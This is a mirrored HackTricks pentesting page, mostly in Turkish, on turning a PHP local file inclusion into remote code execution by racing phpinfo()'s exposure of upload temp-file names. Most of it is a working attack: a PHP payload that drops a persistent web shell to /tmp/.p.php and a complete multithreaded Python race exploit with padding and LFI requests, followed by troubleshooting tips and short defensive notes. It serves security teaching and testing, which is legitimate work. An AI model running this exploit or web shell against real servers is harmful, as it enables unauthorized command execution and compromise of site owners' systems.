mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
157 lines
7.8 KiB
Markdown
157 lines
7.8 KiB
Markdown
# LFI to RCE via PHPInfo
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Bu tekniği istismar etmek için aşağıdakilerin tümüne ihtiyacınız var:
|
||
- phpinfo() çıktısını yazdıran erişilebilir bir sayfa.
|
||
- Kontrolünüzde bir Local File Inclusion (LFI) primitive'i (ör. kullanıcı girdisinde include/require).
|
||
- PHP dosya yüklemelerinin etkinleştirilmiş olması (file_uploads = On). Herhangi bir PHP scripti RFC1867 multipart yüklemelerini kabul eder ve her yüklenen parçaya geçici bir dosya oluşturur.
|
||
- PHP worker'ın yapılandırılmış upload_tmp_dir'ye (veya varsayılan sistem geçici dizinine) yazabilmesi ve LFI'nizin bu yolu include edebilmesi gerekir.
|
||
|
||
Klasik write-up ve orijinal PoC:
|
||
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
|
||
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
|
||
|
||
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
|
||
|
||
Orijinal PoC ile ilgili notlar
|
||
- phpinfo() çıktısı HTML olarak kodlandığı için "=>" oku genellikle "=>" şeklinde görünür. Eski scriptleri yeniden kullanıyorsanız, _FILES[tmp_name] değerini ayrıştırırken her iki kodlamayı da aradıklarından emin olun.
|
||
- Yükü (payload, PHP kodunuz), REQ1 (padding dahil phpinfo() endpoint'ine yapılan istek) ve LFIREQ (LFI sink'inize yapılan istek) uyarlamanız gerekir. Bazı hedefler null-byte (%00) terminatöre ihtiyaç duymaz ve modern PHP sürümleri bunu dikkate almaz. LFIREQ'i hedefteki vulnerable sink'e göre ayarlayın.
|
||
|
||
HTML-encoded oku eşleştirmek için örnek sed (sadece gerçekten eski Python2 PoC'yu kullanıyorsanız):
|
||
```
|
||
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
|
||
```
|
||
## Teori
|
||
|
||
- When PHP receives a multipart/form-data POST with a file field, it writes the content to a temporary file (upload_tmp_dir or the OS default) and exposes the path in $_FILES['<field>']['tmp_name']. The file is automatically removed at the end of the request unless moved/renamed.
|
||
- Hile, geçici dosya adını öğrenip PHP silmeden önce LFI ile onu include etmektir. phpinfo() $_FILES'i, tmp_name dahil, yazdırır.
|
||
- İstek header'larını/parametrelerini şişirerek (padding) phpinfo() çıktısının isteğin bitmesinden önceki erken parçalarını client'a flush ettirebilirsiniz; böylece tmp_name'i temp dosya hâlâ varken okuyup hemen o path ile LFI'yi tetikleyebilirsiniz.
|
||
|
||
In Windows the temp files are commonly under something like C:\\Windows\\Temp\\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.
|
||
|
||
## Saldırı iş akışı (adım adım)
|
||
|
||
1) Yarışı kaybetmemek için hızlıca persist eden bir shell sağlayan küçük bir PHP payload hazırlayın (bir dosya yazmak genelde reverse shell beklemekten daha hızlıdır):
|
||
```
|
||
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
|
||
```
|
||
2) Payload içeren bir temp dosya oluşturması için phpinfo() sayfasına doğrudan büyük bir multipart POST gönderin. Erken çıktıyı teşvik etmek için çeşitli header/cookie/param değerlerini ~5–10KB dolgu ile şişirin. Form alanı adının $_FILES içinde ayrıştıracağınız isimle eşleştiğinden emin olun.
|
||
|
||
3) phpinfo() yanıtı hâlâ stream ediliyorken, kısmi gövdeyi ayrıştırıp $_FILES['<field>']['tmp_name'] (HTML-encoded) değerini çıkarın. Tam mutlak yola (ör. /tmp/php3Fz9aB) ulaştığınız anda LFI'nizi tetikleyip o yolu include edin. Eğer include() geçici dosyayı silinmeden önce çalıştırırsa, payload'ınız tetiklenir ve /tmp/.p.php dosyasını bırakır.
|
||
|
||
4) Bırakılan dosyayı kullanın: GET /vuln.php?include=/tmp/.p.php&x=id (veya LFI'nizin dahil etmeye izin verdiği başka bir yol) ile komutları güvenilir şekilde çalıştırın.
|
||
|
||
> Tips
|
||
> - Yarışı kazanma şansınızı artırmak için birden fazla eşzamanlı worker kullanın.
|
||
> - Genellikle işe yarayan dolgu yerleri: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Hedefe göre ayarlayın.
|
||
> - Eğer the vulnerable sink bir uzantı ekliyorsa (ör. .php), null byte gerekmez; include() geçici dosya uzantısına bakmaksızın PHP'yi çalıştırır.
|
||
|
||
## Minimal Python 3 PoC (socket-based)
|
||
|
||
Aşağıdaki snippet kritik bölümlere odaklanır ve legacy Python2 script'ine göre uyarlaması daha kolaydır. HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink) ve PAYLOAD'ı özelleştirin.
|
||
```python
|
||
#!/usr/bin/env python3
|
||
import re, html, socket, threading
|
||
|
||
HOST = 'target.local'
|
||
PORT = 80
|
||
PHPSCRIPT = '/phpinfo.php'
|
||
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
|
||
THREADS = 10
|
||
|
||
PAYLOAD = (
|
||
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
|
||
)
|
||
BOUND = '---------------------------7dbff1ded0714'
|
||
PADDING = 'A' * 6000
|
||
REQ1_DATA = (f"{BOUND}\r\n"
|
||
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
|
||
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
|
||
|
||
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
|
||
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
|
||
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
|
||
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
|
||
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
|
||
|
||
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
|
||
|
||
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
|
||
|
||
|
||
def race_once():
|
||
s1 = socket.socket()
|
||
s2 = socket.socket()
|
||
s1.connect((HOST, PORT))
|
||
s2.connect((HOST, PORT))
|
||
s1.sendall(REQ1.encode())
|
||
buf = b''
|
||
tmp = None
|
||
while True:
|
||
chunk = s1.recv(4096)
|
||
if not chunk:
|
||
break
|
||
buf += chunk
|
||
m = pat.search(html.unescape(buf.decode(errors='ignore')))
|
||
if m:
|
||
tmp = m.group(1)
|
||
break
|
||
ok = False
|
||
if tmp:
|
||
req = (LFI % tmp).encode() % HOST.encode()
|
||
s2.sendall(req)
|
||
r = s2.recv(4096)
|
||
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
|
||
s1.close(); s2.close()
|
||
return ok
|
||
|
||
if __name__ == '__main__':
|
||
hit = False
|
||
def worker():
|
||
nonlocal_hit = False
|
||
while not hit and not nonlocal_hit:
|
||
nonlocal_hit = race_once()
|
||
if nonlocal_hit:
|
||
print('[+] Won the race, payload dropped as /tmp/.p.php')
|
||
exit(0)
|
||
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
|
||
[t.start() for t in ts]
|
||
[t.join() for t in ts]
|
||
```
|
||
## Sorun giderme
|
||
- tmp_name'i hiç görmüyorsanız: phpinfo()'ye gerçekten multipart/form-data ile POST gönderdiğinizden emin olun. phpinfo() sadece bir upload alanı mevcut olduğunda $_FILES'i yazdırır.
|
||
- Çıktı erken flush olmuyor: Padding'i artırın, daha fazla büyük başlık ekleyin veya aynı anda birden fazla istek gönderin. Bazı SAPI'ler/buffer'lar daha büyük eşiklere kadar flush etmeyebilir; buna göre ayarlayın.
|
||
- LFI yolu open_basedir veya chroot tarafından engellendi: LFI'yi izin verilen bir yola yönlendirmelisiniz veya farklı bir LFI2RCE vektörüne geçin.
|
||
- Geçici dizin /tmp değil: phpinfo() tam mutlak tmp_name yolunu yazdırır; LFI'de tam olarak o yolu kullanın.
|
||
|
||
## Savunma notları
|
||
- Üretimde phpinfo()'u asla açığa çıkarmayın. Gerekirse IP/kimlik doğrulama ile sınırlandırın ve kullanımdan sonra kaldırın.
|
||
- Gerekli değilse file_uploads'u devre dışı tutun. Aksi halde upload_tmp_dir'i uygulamada include() ile erişilemeyecek bir yola kısıtlayın ve herhangi bir include/require yolunda sıkı doğrulama uygulayın.
|
||
- Herhangi bir LFI'yi kritik olarak değerlendirin; phpinfo() olmasa bile başka LFI→RCE yolları vardır.
|
||
|
||
## İlgili HackTricks teknikleri
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-temp-file-uploads.md
|
||
{{#endref}}
|
||
|
||
{{#ref}}
|
||
via-php_session_upload_progress.md
|
||
{{#endref}}
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-nginx-temp-files.md
|
||
{{#endref}}
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-eternal-waiting.md
|
||
{{#endref}}
|
||
|
||
|
||
|
||
## Referanslar
|
||
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
|
||
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
|
||
{{#include ../../banners/hacktricks-training.md}}
|